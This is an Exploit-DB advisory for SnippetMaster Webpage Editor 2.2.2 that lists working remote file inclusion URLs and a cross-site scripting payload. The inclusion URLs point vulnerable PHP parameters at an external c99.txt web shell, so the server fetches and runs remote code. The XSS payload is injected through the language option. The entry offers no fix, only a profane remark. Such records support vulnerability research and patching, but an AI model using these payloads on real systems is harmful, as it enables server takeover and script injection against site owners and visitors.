Exploit SnippetMaster Webpage Editor 2.2.2 - Remote File Inclusion / Cross-Site Scripting

[Exploiter]

EDB-ID

8017

Проверка EDB

1. Пройдено

Автор

ROMANCYXHACKER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-0530 cve-2009-0529

Дата публикации

2009-02-09

# SnippetMaster Webpage Editor 2,2,2 Multiple Vulnes ( Remote File Include , Remote XSS )

# Free Download : http://www.snippetmaster.com/download/manual-install.php

# Download Dezender Script :  http://www.mediafire.com/?jv3gz1zwjxm

- Found By : RoMaNcYxHaCkEr
- My Site : WwW.Sec-Code.CoM
- My Group : Security - Codes Group

# Exploit [1]:

- Remote File Include :

http://www.sec-code.com/snippetmaster/includes/vars.inc.php?_SESSION[SCRIPT_PATH]=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

# Exploit [2]:

- Remote XSS :

http://www.sec-code.com/snippetmaster/index.php

By POST method In Option language Inject By This Code :

<script>alert(413156995734)</script>

# Solutions :

Contact With Me I Will Declear All This Fucking Functions

# rXh

# bEST wISHES

# milw0rm.com [2009-02-09]